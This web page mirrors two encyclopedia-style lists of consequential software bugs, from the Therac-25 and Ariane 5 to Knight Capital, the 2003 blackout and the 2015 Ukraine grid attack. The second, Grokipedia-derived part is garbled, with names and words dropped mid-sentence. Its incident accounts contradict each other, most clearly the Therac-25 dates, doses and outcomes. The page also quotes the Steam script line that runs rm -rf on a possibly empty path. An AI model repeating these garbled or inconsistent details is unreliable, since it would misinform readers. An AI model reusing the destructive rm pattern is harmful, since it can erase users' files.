Hubbry Logo
List of software bugsList of software bugsMain
Open search
List of software bugs
Community hub
List of software bugs
logo
7 pages, 0 posts
0 subscribers
Be the first to start a discussion here.
Be the first to start a discussion here.
List of software bugs
List of software bugs
List of software bugs
View on Wikipedia
from Wikipedia

Many software bugs are merely annoying or inconvenient, but some can have extremely serious consequences—either financially or as a threat to human well-being.[1] The following is a list of software bugs with significant consequences.

Administration

[edit]
  • The software of the A2LL system for handling unemployment and social services in Germany presented several errors with large-scale consequences, such as sending the payments to invalid account numbers in 2004.[citation needed]

Blockchain

[edit]
  • The DAO bug. On June 17, 2016, the DAO was subjected to an attack exploiting a combination of vulnerabilities, including the one concerning recursive calls, that resulted in the transfer of 3.6 million Ether – around a third of the 11.5 million Ether that had been committed to The DAO – valued at the time at around $50M.[2][3]

Electric power transmission

[edit]

Encryption

[edit]

See also Category:Computer security exploits

  • In order to fix a warning issued by Valgrind, a maintainer of Debian patched OpenSSL and broke the random number generator in the process. The patch was uploaded in September 2006 and made its way into the official release; it was not reported until April 2008. Every key generated with the broken version is compromised (as the "random" numbers were made easily predictable), as is all data encrypted with it, threatening many applications that rely on encryption such as S/MIME, Tor, SSL or TLS protected connections and SSH.[5]
  • Heartbleed, an OpenSSL vulnerability introduced in 2012 and disclosed in April 2014, removed confidentiality from affected services, causing among other things the shutdown of the Canada Revenue Agency's public access to the online filing portion of its website[6] following the theft of social insurance numbers.[7]
  • The Apple "goto fail" bug was a duplicated line of code which caused a public key certificate check to pass a test incorrectly.
  • The GnuTLS "goto fail" bug was similar to the Apple bug and found about two weeks later. The GnuTLS bug also allowed attackers to bypass SSL/TLS security. [8]

Finance

[edit]
  • The Vancouver Stock Exchange index had large errors due to repeated rounding. In January 1982 the index was initialized at 1000 and subsequently updated and truncated to three decimal places on each trade. This was done about 3000 times a day. The accumulated truncations led to an erroneous loss of around 25 points per month. Over the weekend of November 25–28, 1983, the error was corrected, raising the value of the index from its Friday closing figure of 524.811 to 1098.892.[9][10]
  • Knight Capital Group lost $440 million in 45 minutes on August 1, 2012 due to the improper deployment of software on servers and the re-use of a critical software flag that caused old unused software code to execute during trading.[11]
  • The British Post Office scandal; between 2000 and 2015, 736 subpostmasters were prosecuted by the UK Post Office, with many falsely convicted and sent to prison. The subpostmasters were blamed for financial shortfalls which actually were caused by software defects in the Post Office's Horizon accounting software.[12]

Media

[edit]
  • In the Sony BMG copy protection rootkit scandal (October 2005), Sony BMG produced a Van Zant music CD that employed a copy protection scheme that covertly installed a rootkit on any Windows PC that was used to play it. Their intent was to hide the copy protection mechanism to make it harder to circumvent. Unfortunately, the rootkit inadvertently opened a security hole resulting in a wave of successful trojan horse attacks on the computers of those who had innocently played the CD.[13] Sony's subsequent efforts to provide a utility to fix the problem actually exacerbated it.[14]

Medical

[edit]
  • A bug in the code controlling the Therac-25 radiation therapy machine was directly responsible for at least five patient deaths in the 1980s when it administered excessive quantities of beta radiation.[15][16][17]
  • Radiation therapy planning software RTP/2 created by Multidata Systems International could incorrectly double the dosage of radiation depending on how the technician entered data into the machine. At least eight patients died, while another 20 received overdoses likely to cause significant health problems (November 2000).[18]
  • A Medtronic heart device was found vulnerable to remote attacks (2008-03).[19]
  • The Becton Dickinson Alaris Gateway Workstation allows unauthorized arbitrary remote execution (2019).[20][21]
  • The CareFusion Alaris pump module (8100) will not properly delay an Infusion when the "Delay Until" option or "Multidose" feature is used (2015).[22]

Military

[edit]

Space

[edit]
  • NASA's 1965 Gemini 5 mission landed 80 miles (130 km) short of its intended splashdown point when the pilot compensated manually for an incorrect constant for the Earth's rotation rate. A 360-degree rotation corresponding to the Earth's rotation relative to the fixed stars was used instead of the 360.98-degree rotation in a 24-hour solar day. The shorter length of the first three missions and a computer failure on Gemini 4 prevented the bug from being detected earlier.[29]
  • The Russian Space Research Institute's Phobos 1 (Phobos program) deactivated its attitude thrusters and could no longer properly orient its solar arrays or communicate with Earth, eventually depleting its batteries. (September 10, 1988).[30]
  • The European Space Agency's Ariane flight V88 was destroyed 40 seconds after takeoff (June 4, 1996). The first flight of the Ariane V rocket self-destructed due to an overflow occurring during a floating-point to integer conversion in the on-board guidance software. The same software had been used successfully in the Ariane IV program, but the Ariane V produced larger values for at least one variable, causing the overflow.[31][32]
  • In 1997, the Mars Pathfinder mission was jeopardised by a bug in concurrent software shortly after the rover landed, which was found in preflight testing but given a low priority as it only occurred in certain unanticipated heavy-load conditions.[33] The problem, which was identified and corrected from Earth, was due to computer resets caused by priority inversion.[34]
  • In 2000, a Zenit 3SL launch failed due to faulty ground software not closing a valve in the rocket's second stage pneumatic system.[35]
  • The European Space Agency's CryoSat-1 satellite was lost in a launch failure in 2005 due to a missing shutdown command in the flight control system of its Rokot carrier rocket.[36]
  • NASA Mars Polar Lander was destroyed because its flight software mistook vibrations caused by the deployment of the stowed legs for evidence that the vehicle had landed and shut off the engines 40 meters from the Martian surface (December 3, 1999).[37]
  • Its sister spacecraft Mars Climate Orbiter was also destroyed, due to software on the ground generating commands based on parameters in pound-force (lbf) rather than newtons (N).
  • A mis-sent command from Earth caused the software of the NASA Mars Global Surveyor to incorrectly assume that a motor had failed, causing it to point one of its batteries at the sun. This caused the battery to overheat (November 2, 2006).[38][39]
  • NASA's Spirit rover became unresponsive on January 21, 2004, a few weeks after landing on Mars. Engineers found that too many files had accumulated in the rover's flash memory. It was restored to working condition after deleting unnecessary files.[40]
  • Japan's Hitomi astronomical satellite was destroyed on March 26, 2016, when a thruster fired in the wrong direction, causing the spacecraft to spin faster instead of stabilize.[41]
  • ESA/Roscosmos Schiaparelli Mars lander impacted surface of Mars. Unanticipated spin during descent briefly saturated the IMU, software then misinterpreted the data as showing the lander was underground, so prematurely ejected parachute and shut down engines, resulting in crash.[42]
  • Israel's first attempt to land an uncrewed spacecraft on the Moon with the Beresheet was rendered unsuccessful on April 11, 2019, due to a software bug with its engine system, which prevented it from slowing down during its final descent on the Moon's surface. Engineers attempted to correct this bug by remotely rebooting the engine, but by the time they regained control of it, Beresheet could not slow down in time to avert a hard, crash landing that disintegrated it.[43]

Telecommunications

[edit]
  • AT&T long-distance network crash (January 15, 1990), in which the failure of one switching system would cause a message to be sent to nearby switching units to tell them that there was a problem. Unfortunately, the arrival of that message would cause those other systems to fail too – resulting in a cascading failure that rapidly spread across the entire AT&T long-distance network.[44][45]
  • In January 2009, Google's search engine erroneously notified users that every web site worldwide was potentially malicious, including its own.[46]
  • In May 2015, iPhone users discovered a bug where sending a certain sequence of characters and Unicode symbols as a text to another iPhone user would crash the receiving iPhone's SpringBoard interface,[47] and may also crash the entire phone, induce a factory reset, or disrupt the device's connectivity to a significant degree,[48] preventing it from functioning normally. The bug persisted for weeks, gained substantial notoriety and saw a number of individuals using the bug to play pranks on other iOS users,[citation needed] before Apple eventually patched it on June 30, 2015, with iOS 8.4.
  • On May 31st, 2020, the user @UniverseIce on twitter reported a wallpaper[49] that caused select android phone's to go into a bootloop that rendered the phones unusable.[50] This was caused by and oversight in Android's SystemUI and how it handled converting images used for the wallpaper from ProPhoto RGB to sRGB[51] leading to the system trying and display a pixel with a invalid color value.[52][53]

Tracking years

[edit]
Main article: Time formatting and storage bugs
  • The year 2000 problem spawned fears of worldwide economic collapse and an industry of consultants providing last-minute fixes.[54]
  • A similar problem will occur in 2038 (the year 2038 problem), as many Unix-like systems calculate the time in seconds since 1 January 1970, and store this number as a 32-bit signed integer, for which the maximum possible value is 231 − 1 (2,147,483,647) seconds.[55] 2,147,483,647 seconds equals 68 years, and 2038 is 68 years forward from 1970.
  • An error in the payment terminal code for Bank of Queensland rendered many devices inoperable for up to a week. The problem was determined to be an incorrect hexadecimal number conversion routine. When the device was to tick over to 2010, it skipped six years to 2016, causing terminals to decline customers' cards as expired.[56]

Transportation

[edit]

Video gaming

[edit]
  • Eve Online's deployment of the Trinity patch erased the boot.ini file from several thousand users' computers, rendering them unable to boot. This was due to the usage of a legacy system within the game that was also named boot.ini. As such, the deletion had targeted the wrong directory instead of the /eve directory.[63]
  • The Corrupted Blood incident was a software bug in World of Warcraft that caused a deadly, debuff-inducing virtual disease that could only be contracted during a particular raid to be set free into the rest of the game world, leading to numerous, repeated deaths of many player characters. This caused players to avoid crowded places in-game, just like in a "real world" epidemic, and the bug became the center of some academic research on the spread of infectious diseases.[64]
  • On June 6, 2006, the online game RuneScape suffered from a bug that enabled certain player characters to kill and loot other characters, who were unable to fight back against the affected characters because the game still thought they were in player-versus-player mode even after they were kicked out of a combat ring from the house of a player who was suffering from lag while celebrating an in-game accomplishment. Players who were killed by the glitched characters lost many items, and the bug was so devastating that the players who were abusing it were soon tracked down, caught and banned permanently from the game, but not before they had laid waste to the region of Falador, thus christening the bug "Falador Massacre".[65]
  • In the 256th level of Pac-Man, a bug results in a kill screen. The maximum number of fruit available is seven and when that number rolls over, it causes the entire right side of the screen to become a jumbled mess of symbols while the left side remains normal.[66]
  • Upon initial release, the ZX Spectrum game Jet Set Willy was impossible to complete because of a severe bug that corrupted the game data, causing enemies and the player character to be killed in certain rooms of the large mansion where the entire game takes place.[67] The bug, known as "The Attic Bug", would occur when the player entered the mansion's attic, which would then cause an arrow to travel offscreen, overwriting the contents of memory and altering crucial variables and behavior in an undesirable way. The game's developers initially excused this bug by claiming that the affected rooms were death traps, but ultimately owned up to it and issued instructions to players on how to fix the game itself.[68]
  • One of the free demo discs issued to PlayStation Underground subscribers in the United States contained a serious bug, particularly in the demo for Viewtiful Joe 2, that would not only crash the PlayStation 2, but would also unformat any memory cards that were plugged into that console, erasing any and all saved data onto them.[69] The bug was so severe that Sony had to apologize for it and send out free copies of other PS2 games to affected players as consolation.[70]
  • Due to a severe programming error, much of the Nintendo DS game Bubble Bobble Revolution is unplayable because a mandatory boss fight failed to trigger in the 30th level.[71]
  • An update for the Xbox 360 version of Guitar Hero II, which was intended to fix some issues with the whammy bar on that game's guitar controllers, came with a bug that caused some consoles to freeze, or even stop working altogether, producing the infamous "red ring of death".[72]
  • Valve's Steam client for Linux could accidentally delete all the user's files in every directory on the computer. This happened to users that had moved Steam's installation directory.[73] The bug is the result of unsafe shellscript programming: 
    STEAMROOT="$(cd "${0%/*}" && echo $PWD)"

# Scary!
rm -rf "$STEAMROOT/"*
    The first line tries to find the script's containing directory. This could fail, for example if the directory was moved while the script was running, invalidating the "selfpath" variable $0. It would also fail if $0 contained no slash character, or contained a broken symlink, perhaps mistyped by the user. The way it would fail, as ensured by the && conditional, and not having set -e cause termination on failure, was to produce the empty string. This failure mode was not checked, only commented as "Scary!". Finally, in the deletion command, the slash character takes on a very different meaning from its role of path concatenation operator when the string before it is empty, as it then names the root directory.
  • Minus World is an infamous glitch level from the 1985 game Super Mario Bros., accessed by using a bug to clip through walls in level 1–2 to reach its "warp zone", which leads to the said level.[74] As this level is endless, triggering the bug that takes the player there will make the game impossible to continue until the player resets the game or runs out of lives.
  • "MissingNo." is a glitch Pokémon species present in Pokémon Red and Blue, which can be encountered by performing a particular sequence of seemingly unrelated actions. Capturing this Pokémon may corrupt the game's data, according to Nintendo[75][76][77] and some of the players who successfully attempted this glitch. This is one of the most famous bugs in video game history, and continues to be well-known.[78]

See also

[edit]

References

[edit]
[edit]
Revisions and contributorsEdit on WikipediaRead on Wikipedia

List of software bugs

View on Grokipedia
from Grokipedia
A list of software bugs catalogs documented defects in computer software—defined as coding errors or flaws that produce incorrect, unexpected, or unintended behavior in programs. These compilations focus on historically significant instances where such errors precipitated major disruptions, including financial catastrophes, operational failures, and , emphasizing the causal role of unaddressed code imperfections in complex systems. Notable examples encompass the radiation therapy machine's software race conditions, which enabled overdoses fatal to patients due to inadequate error handling and hardware-software interactions. In , bugs have triggered mission failures, as analyzed in 's review of historical errors revealing that 58% stemmed from code or logic faults, often evading detection until runtime. Financial sectors have suffered acute losses, such as Knight Capital's $440 million debacle from a faulty deployment lacking sufficient safeguards. Broader societal impacts include the Y2K date-handling flaw, which risked widespread system collapses from truncated year representations but was mitigated through preemptive remediation. Such lists underscore empirical patterns in bug origins—predominantly logic errors, missing code, or data misconfigurations—and highlight the imperative for rigorous verification to avert cascading real-world harms in interdependent technologies.

Life-Critical Systems

Therac-25 Radiation Therapy Machine (1985-1987)

The was a computer-controlled dual-mode machine manufactured by (AECL), capable of delivering either beams or beams for , with installations beginning in 1982 across the and . Between June 3, 1985, and January 17, 1987, six documented accidents occurred involving massive overdoses of radiation, far exceeding intended therapeutic levels of approximately 200 rads; these delivered 8,000 to 25,000 rads in localized areas, resulting in three patient deaths and severe injuries including tissue and amputations in the others. The overdoses stemmed from software flaws that allowed unsafe configurations during operation, particularly in high-energy mode, where the machine erroneously fired an unmodulated beam without the required foil or flattening filter. Central to the failures was a in the multitasking software, adapted with minimal changes from earlier Therac models, where rapid operator inputs during parameter editing—such as changing beam type from electrons ("e") to X-rays ("x") or adjusting dose rates—could desynchronize the control software from hardware positioning commands. This bug, exploitable within seconds via the console interface, caused the multileaf turntable to remain in the wrong position (e.g., aligned for chamber verification rather than mode), bypassing mechanical safeties absent in the design, unlike its predecessors which retained hardware interlocks. Additional s included a variable overflow in dose calculation routines (contributing to the January 1987 Yakima incident) and inadequate handling, where the system displayed vague "Malfunction" codes (e.g., "Malfunction 54") without halting operations or alerting to overdose risks, enabling operators to resume treatments that repeated the fault. AECL initially attributed issues to operator or transient hardware faults, delaying software scrutiny despite replicated failures in testing.
DateLocationEstimated Dose (rads)Outcome
June 3, 1985Kennestone, Georgia15,000–20,000Patient symptoms; machine paused but no immediate overdose recognition; patient died June 1986 from complications.
July 26, 198513,000–17,000Severe injury; patient died April 1986.
December 1985Unknown (high)Injury; fuse blown, no death.
March 21, 198616,500–25,000Severe burns; patient died months later.
April 11, 1986~25,000Severe injury requiring intervention.
January 17, 19878,000–10,000Severe injury; hip necrosis.
Remediation involved multiple hardware additions, such as redundant interlocks for turntable position verification and single-pulse shutdown circuits, alongside software revisions (e.g., Revision 3 in March 1987) to eliminate race conditions and improve input validation; the U.S. mandated machine shutdowns until these were implemented. The incidents highlighted risks of over-relying on unproven software for critical functions without independent verification mechanisms or rigorous testing of concurrent operations.

Patriot Missile System (1991)

On February 25, 1991, during Operation Desert Storm, a Patriot missile battery at Airbase, , failed to track and intercept an incoming Iraqi due to a software defect in its weapons control computer. The struck a U.S. Army barracks approximately 100 meters away, killing 28 American soldiers and wounding about 100 others. The system's radar detected the incoming threat, but the tracking algorithm produced an erroneous predicted position, preventing engagement. The defect stemmed from a precision loss in calculating elapsed runtime since . Time was stored as an in a 24-bit register, incremented in 0.1-second units (tenths of seconds). For trajectory computations, this value was multiplied by 0.1 to yield seconds, but binary floating-point representation truncated the repeating binary fraction of 1/10 (0.0001100110011...), introducing a relative error of approximately 9.5 × 10^{-8} per unit time. This error accumulated linearly; after roughly 100 hours of continuous operation without —as was the case at —the discrepancy totaled 0.3433 seconds. At the Scud's speed of about 1,676 meters per second, the 0.3433-second offset translated to a range error of approximately 687 , shifting the missile's predicted location outside the system's narrow "range gate" for validated tracking. Without a match to this gate, the Patriot discarded the track as invalid and did not fire. A corrective software patch addressing the precision issue had been released on February 16 and applied to some batteries, but wartime logistics delayed its arrival and installation at until February 26. The U.S. General Office () report on the incident attributed the failure solely to this software , noting inadequate pre-deployment testing for extended runtimes despite prior indications of drift from Israeli operations. Recommendations included rigorous endurance validation and algorithmic reviews for future updates, underscoring vulnerabilities in embedded real-time systems reliant on finite-precision arithmetic. The event prompted reboots of other Patriots to reset clocks and accelerated patch deployments across theater units.

Therac-25 Overdose Incidents

The overdose incidents comprised six cases of massive radiation overexposure between June 1985 and January 1987, resulting in three patient deaths and three severe injuries. These events were attributed to software flaws, including race conditions during operator input that permitted the machine to fire unmodulated high-energy electron beams without the required scattering foil, delivering doses estimated at 8,000 to 25,000 rads—far exceeding intended therapeutic levels of 100 to 200 rads. Operators frequently encountered the vague "Malfunction 54" , which lacked diagnostic detail and encouraged overriding safety interlocks. On June 3, 1985, at Kennestone Regional Medical Center in , a scheduled for a 200-rad beam treatment received approximately 16,500 rads after the operator rapidly edited parameters and initiated the beam, triggering Malfunction 54; the suffered extensive burns requiring skin grafts and hospitalization but ultimately survived. A similar error recurred on July 26, 1985, at the Ontario Cancer Foundation Clinic in , , where a intended for a 100-rad dynamic treatment absorbed around 16,500 rads following hasty data entry and beam activation under Malfunction 54 conditions; the victim experienced and burns, leading to death several months later. In December 1985 at Yakima Valley Memorial Hospital in , a patient received an overdose of about 8,000–10,000 rads during a planned 128-rad treatment due to a software timing issue in mode switching, initially presenting as skin erythema that escalated to severe injury; the patient survived with lasting damage. On March 21, 1986, at East Texas Cancer Center in , another patient was overdosed with roughly 16,500 rads instead of 180 rads when parameter changes preceded beam-on without updating the turntable position, bypassing interlocks; symptoms included paralysis and burns, culminating in death in August 1986. The following incident on April 11, 1986, at the same Tyler facility involved an 8,000-rad delivery versus 200 rads intended, again under Malfunction 54 after rapid setup; the patient endured fatal burns and died in May 1986. The final known overdose struck on January 17, 1987, back at Yakima Valley Memorial Hospital, administering 10,000–13,000 rads in place of 100 rads due to a in input handling and interlock failure; the patient developed irreversible spinal cord damage and perished in April 1987. In response to accumulating reports, (AECL) notified the U.S. (FDA) on April 15, 1986; the FDA subsequently declared the defective on May 2, 1986, mandating a corrective action plan, user notifications, and temporary suspension of operations until software and hardware safeguards were implemented. These incidents exposed systemic issues in software validation, as prior Therac models had relied on hardware interlocks that the computerized inadequately replicated in code.

Economic and Financial Disruptions

Pentium FDIV Bug (1994)

The Pentium FDIV bug was a defect in the floating-point unit (FPU) of early Intel Pentium (P5) microprocessors, resulting in inaccurate double-precision floating-point division results for specific input pairs. The error manifested in approximately 1 in 9 billion random divisions, with inaccuracies typically appearing from the 14th to 23rd significant bits, though it could propagate in iterative or non-random computations such as those involving small "bruised" integers. Affected processors were those produced before late 1994; Intel incorporated a hardware fix in subsequent revisions by adding transistors to the lookup table circuitry. The bug originated in the FPU's implementation of the base-4 SRT (Sweeney, Robertson, and Tocher) division algorithm, which relied on a 2048-entry programmable logic array (PLA) lookup table to select quotient digits (±2, ±1, or 0) based on chopped mantissas of the dividend and divisor. A design error caused five critical entries to be omitted from this table—specifically, due to the top threshold for the +2 quotient region being set incorrectly low (to 0 instead of 2)—triggering erroneous quotient estimates for divisors whose normalized mantissas exhibited certain patterns, such as six consecutive 1s in specific bit positions. Intel attributed the omission to a scripting mistake during table generation, but die-level analysis revealed a underlying mathematical flaw in the table's boundary definitions, with 16 entries total omitted (11 harmless). Mathematician Thomas R. Nicely discovered the issue in June 1994 while performing computations on twin primes and other number-theoretic problems using Lynchburg College's three Pentium-equipped computers, initially suspecting software before isolating it to the hardware by October. He observed discrepancies in the ninth decimal place of division results, such as erroneous outputs from operations like 4,195,835 / 3,145,727, and publicly disclosed findings via forums after Intel's delayed confirmation. Intel had identified the flaw internally by June 1994 and silently corrected it in chips shipped from onward, but withheld public notice, prompting criticism for understating its relevance to scientific users. Facing escalating media scrutiny and demands from affected customers, Intel shifted from requiring proof of impact for replacements to offering free exchanges for all pre-fixation Pentiums on December 20, 1994, marking the company's first major CPU recall. No software workaround existed, as the table resided in fixed hardware logic rather than updatable microcode. The episode incurred $475 million in costs for Intel, primarily from replacements and lost credibility, though it caused no broader financial market disruptions or safety incidents. It highlighted vulnerabilities in automated hardware design tools and lookup-table verification, influencing subsequent processor validation processes.

Knight Capital Group Trading Glitch (2012)

On August 1, 2012, Knight Capital Americas LLC, a major firm and , experienced a catastrophic software malfunction in its Smart Market Access Routing System (SMARS) during the deployment of new code to support the New York Stock Exchange's supplemental provider pilot program. The error activated dormant, repurposed code from an older trading strategy called Power Peg, which had not been fully disabled or tested in the production environment. This led to the automated system generating and executing millions of unintended orders, primarily buying shares at inflated prices and selling at depressed ones, without corresponding customer orders or overrides. The glitch unfolded over approximately 45 minutes starting around 9:15 a.m. ET, during which SMARS executed over 4 million trades across 148 NYSE-listed , accumulating long positions worth about $7 billion before partial unwinding. ultimately realized a $440 million net trading loss after liquidating the erroneous positions later that day, representing nearly all of its capital at the time. The firm's shares plummeted 75% in value, closing at $2.58 from an opening of $10.29, triggering a near-collapse that required emergency capital infusion. The root cause stemmed from two key failures identified by the U.S. Securities and Exchange Commission (SEC): first, Knight reused untested from the defunct Power Peg system without adequately validating its integration into the new SMARS module, including overlooking a critical flag set to "1" (active) instead of "0" (inactive), which triggered rogue order routing logic; second, the firm lacked sufficient pre-trade controls for its sponsored access arrangements, allowing the erroneous orders to flood exchanges unchecked. Knight's internal testing in a simulated environment failed to replicate the production scenario, as it did not account for the specific sequence of incoming customer orders that activated the bug. No evidence of intentional misconduct was found, but the incident exposed vulnerabilities in rapid practices within automated trading systems. In the aftermath, Knight survived short-term through a $400 million from investors but was acquired by Getco LLC (now part of ) in a deal valuing the firm at $1.4 billion, effectively marking its operational demise as an independent entity. The SEC charged Knight with violations of Rule 15c3-5 under the for inadequate controls over , imposing a $12 million —the largest such fine at the time—and mandating enhanced compliance measures. The event prompted regulatory scrutiny of firms, highlighting the systemic risks of unproven code in financial markets, though no broader market disruption occurred due to the self-contained nature of the losses.

2010 Flash Crash

On May 6, 2010, the U.S. equity markets experienced a sudden and severe decline known as the , with the plummeting approximately 1,000 points (about 9%) between 2:32 p.m. and 2:47 p.m. EDT before recovering most losses by the end of the trading day. The event erased and then restored over $1 trillion in market value within minutes, involving nearly 2 billion shares traded in equities between 2:40 p.m. and 3:00 p.m., far exceeding normal volumes. More than 20,000 trades across over 300 securities executed at prices at least 60% away from pre-crash values, including anomalous prices like $0.01 per share for some stocks, prompting subsequent cancellations of trades deemed erroneous. The primary trigger was an automated trading employed by a large to execute a sell order for 75,000 500 futures contracts, valued at roughly $4.1 billion, initiated at 2:32 p.m. EDT on the . This was programmed to sell aggressively by targeting 9% of the volume from the previous minute, without incorporating constraints on price or time, resulting in the full execution within 20 minutes amid thinning . The design flaw in this execution strategy—prioritizing volume over —generated disproportionate sell pressure, as the continued selling into a declining market without adaptive pauses or price sensitivity. (HFT) firms, which accounted for about 50% of trading volume during the episode, initially absorbed the sales but then rapidly sold positions, engaging in "hot-potato" volume where contracts were passed between traders with minimal net change in ownership, further eroding . Interactions among automated systems amplified the disruption: between 2:45:13 p.m. and 2:45:27 p.m., buy-side in futures dropped to $58 million, less than 1% of morning levels, as HFT algorithms withdrew amid extreme volatility and some systems halted trading due to predefined thresholds triggered by rapid price swings. In equities, similar dynamics led to reliance on stub quotes (distant placeholder bids/offers) when genuine vanished, executing trades at irrationally low prices. The joint investigation by the U.S. Securities and Exchange Commission (SEC) and (CFTC) concluded that while no single software coding error caused the crash, the confluence of the flawed sell and HFT behaviors—neither of which deviated from their programmed logic—exposed vulnerabilities in automated market structures reliant on rapid, high-volume electronic execution. In response, regulators implemented circuit breakers, including single-stock pauses and market-wide limits, to curb similar cascades from algorithmic interactions. The episode highlighted how algorithm design lacking robustness to feedback loops could propagate shocks across interconnected futures and cash markets, though subsequent analyses affirmed that HFT firms did not initiate the decline but contributed through liquidity provision patterns that prioritized immediacy over stability during stress.

Space and Aerospace Failures

Ariane 5 Rocket Explosion (1996)

The maiden flight of the rocket, designated Flight 501, launched on June 4, 1996, at 09:33:59 from , , carrying a cluster of four satellites valued at approximately 500 million euros. Approximately 37 seconds after main engine ignition—equivalent to about 40 seconds into the flight—the rocket deviated from its trajectory at an altitude of around 3,700 meters, leading to structural breakup and explosion; the onboard system activated shortly thereafter, scattering debris over an area of 12 square kilometers. The root cause was a software fault in the Inertial Reference System (SRI), which provided guidance and attitude data to the flight control systems. The SRI software, reused from the Ariane 4 without full adaptation to the Ariane 5's steeper ascent trajectory, executed an unnecessary alignment function that processed the horizontal velocity component (designated BH). This 64-bit floating-point value exceeded the range assumable for conversion to a 16-bit signed integer, triggering an operand error and unhandled exception that caused the active SRI processor to shut down at H0 + 36.7 seconds. The backup SRI, operating in cold redundancy but synchronized with the primary, encountered the identical fault and also failed, resulting in total loss of guidance data and handover to the operations computer, which could not compensate. This overflow stemmed from inadequate specification of Ariane 5 trajectory parameters in the SRI design and absence of range checks or exception handling for such values, despite prior assumptions of safety margins derived from Ariane 4 data. Testing failures contributed, as simulations and reviews relied on Ariane 4 profiles and excluded Ariane 5-specific conditions due to schedule pressures, failing to expose the despite the software's proven reliability in prior missions. The inquiry board, reporting on July 19, 1996, attributed the catastrophe to systemic deficiencies in , including incomplete requirements capture, design errors, and insufficient validation, rather than isolated coding mistakes. In response, the corrected the SRI software by disabling the offending function, adding protections against overflows, and revising qualification processes to incorporate full-system simulations with parameters. Subsequent flights, starting with Flight 502 in November 1996, incorporated these fixes, enabling Ariane 5's operational success, though the incident underscored the risks of software reuse without rigorous environmental revalidation in safety-critical systems.

Mars Climate Orbiter Loss (1999)

The (MCO), a unmanned , launched aboard a Delta II rocket from on December 11, 1998, as part of the Mars Surveyor '98 program. Its primary objectives included mapping the Martian surface, monitoring daily and seasonally varying atmospheric dust and water vapor patterns to study climate dynamics, and serving as a communications relay for the Mars Polar Lander. The 638-kilogram probe traveled approximately 669 million kilometers over nine months before attempting orbital insertion around Mars. Contact with the spacecraft was lost on September 23, 1999, at 09:04 UTC during the planned Mars orbit insertion burn, when it passed behind the planet relative to Earth. Post-loss analysis by NASA's Mishap Investigation Board determined that the orbiter had entered the Martian atmosphere at an altitude of about 57 kilometers—far below the targeted periapsis of 140 to 150 kilometers—causing aerodynamic forces to destroy it. Trajectory reconstruction revealed an unexpectedly high spacecraft velocity change of 64.1 meters per second, compared to the pre-insertion estimate of 50 meters per second, confirming the low-altitude entry. The root cause was a discrepancy in measurement units within the software interface between ground-based systems and the flight software. Specifically, the "SM_FORCES" module in Lockheed Martin's ground software generated outputs for small thruster firings in English units of pound-force seconds (lbf·s), while the spacecraft's software, per the Software Interface Specification, expected metric units of newton-seconds (N·s). This mismatch introduced a systematic factor of 4.45 (since 1 lbf ≈ 4.45 N), leading to underestimation of perturbations from attitude control thrusters, which accumulated over the mission and corrupted the predicted orbit. The originated in the ground software's failure to convert units, despite specifying metric standards, and was exacerbated by the thruster firings being classified as non-critical trajectory inputs, evading rigorous validation. Contributing factors included inadequate oversight, with insufficient end-to-end testing of the small-forces model against flight software, and poor communication between the team—unfamiliar with the 's configuration—and the software developers. A planned Trajectory Correction Maneuver (TCM-5) was skipped due to time constraints, further masking the accumulating discrepancy. The mission's total cost was approximately $327 million, encompassing development, launch, and operations, though the itself was valued at $125 million. The investigation board issued recommendations emphasizing unit consistency verification in all software interfaces, independent audits of critical code, and enhanced training on systems integration to prevent similar failures in future missions. This incident underscored the causal role of precise unit handling in software for space , where even small modeling errors can propagate to mission-ending deviations without robust validation protocols.

Infrastructure and Utilities

Northeast Blackout of 2003

The occurred on August 14, 2003, disrupting electrical service to approximately 50 million people across eight U.S. states and , , with outages lasting from hours to two days in affected areas. The initiating events involved high-voltage transmission lines in northeastern , operated by Corporation, sagging under heavy load and contacting overgrown trees, causing three 345 kV lines to trip sequentially between 3:05 p.m. and 3:41 p.m. EDT. These failures overloaded adjacent lines, leading to a cascading separation of the power grid that removed over 61,800 megawatts of load. A key contributing factor was a software defect in FirstEnergy's (EMS), the GE XA/21, which handled monitoring, alarms, and event logging. The bug manifested as a in the Unix-based alarm and event processor: when confronted with a high volume of simultaneous events—such as the rapid influx from line trips—the system entered an while attempting to write log entries to a , causing the alarm function to fail silently without notifying operators or triggering backups. This rendered control room personnel unaware of the escalating grid instability for over an hour, delaying remedial actions like load shedding or line reconfiguration. The U.S.-Canada Power System Outage Task Force's final report identified inadequate vegetation management, operator training deficiencies, and reliability coordination failures as primary causes, but subsequent analysis by GE Energy confirmed the EMS software flaw as the reason for the unalarmed state, exacerbating the cascade. GE issued patches for the XA/21 systems in use by multiple utilities, and the incident prompted mandatory reliability standards under the North American Electric Reliability Corporation, including enhanced EMS redundancy and software validation. Economic impacts were estimated at $6 billion to $10 billion, including lost productivity, spoiled goods, and emergency response costs.

Ukraine Power Grid Attack (2015, software component)

The 2015 cyber attack on 's power grid, occurring on December 23, targeted three regional electric distribution companies—Prykarpattyaoblenergo, Kyivoblenergo, and possibly others—resulting in outages affecting approximately 230,000 customers for durations of 1 to 6 hours. Attackers, attributed by cybersecurity analyses to the Russian-linked Sandworm group, exploited software vulnerabilities and deployed custom to gain persistent access to corporate IT networks, which were inadequately segmented from (OT) systems controlling substations. Initial compromise began in spring 2015 through spear-phishing campaigns delivering version 3 via malicious attachments, such as Excel files with embedded macros that executed upon user interaction. BlackEnergy, a modular information-stealing Trojan originally developed for DDoS and espionage, served as the primary backdoor in the attack, enabling remote command-and-control (C2) communications, credential harvesting, and lateral movement across Windows-based systems. Its plugin architecture allowed customization for industrial targets, including modules for keylogging and data exfiltration, which attackers used to map networks and escalate privileges over months of reconnaissance. Once inside, intruders pivoted to OT environments via infected jump servers and VPN connections, leveraging weak or default credentials to access human-machine interfaces (HMIs) connected to supervisory control and data acquisition (SCADA) systems from vendors like Siemens SIPROTEC. No zero-day exploits in core grid software were reported; instead, the attack capitalized on unpatched Windows vulnerabilities, insecure remote access protocols (e.g., lacking multifactor authentication), and flat network designs that permitted IT-to-OT traversal without air-gapping or anomaly detection. During the disruption phase, attackers manually issued commands from external locations to open circuit breakers at 11 substations, simulating operator actions through compromised HMIs while suppressing alarms to delay detection. Concurrently, they deployed KillDisk—a destructive wiper malware variant—to overwrite master boot records (MBRs) on infected workstations, erasing logs and hindering forensic recovery and system restoration; this component targeted both IT and select OT endpoints but spared primary control servers to maintain operational access. Post-attack, wipers like KillDisk were analyzed as extensions of BlackEnergy campaigns, with code similarities indicating shared development by state-affiliated actors. The software's efficacy stemmed from its adaptability to legacy ICS protocols rather than novel bugs, underscoring systemic flaws in utility software configurations, such as outdated operating systems (e.g., Windows XP) and absent endpoint protection tailored for air-gapped environments. 